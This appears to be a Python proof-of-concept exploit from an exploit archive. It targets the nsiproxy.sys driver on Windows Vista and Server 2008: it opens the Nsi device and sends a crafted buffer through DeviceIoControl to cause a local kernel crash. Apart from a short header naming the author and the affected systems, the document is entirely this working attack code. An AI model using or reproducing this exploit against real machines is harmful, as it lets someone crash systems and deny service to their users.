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Microsoft Windows Vista/Server 2008 "nsiproxy.sys" Local Kernel DoS
[#!/usr/bin/python
############################################################################
##
## Title: Microsoft Windows Vista/Server 2008 "nsiproxy.sys" Local Kernel DoS Exploit
## Author: Lufeng Li of Neusoft Corporation
## Vendor: www.microsoft.com
## Vulnerable: Windows Vista/Server 2008
##
############################################################################
from ctypes import *
kernel32 = windll.kernel32
Psapi = windll.Psapi
if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2
SYM_NAME = "\\\\.\\Nsi"
dwReturn = c_ulong()
out_buff = ''
in_buff = ("\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00"
"\x38\xfa\x78\x00\x0c\x00\x00\x00")
handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)
# 0day.today [2024-11-16] #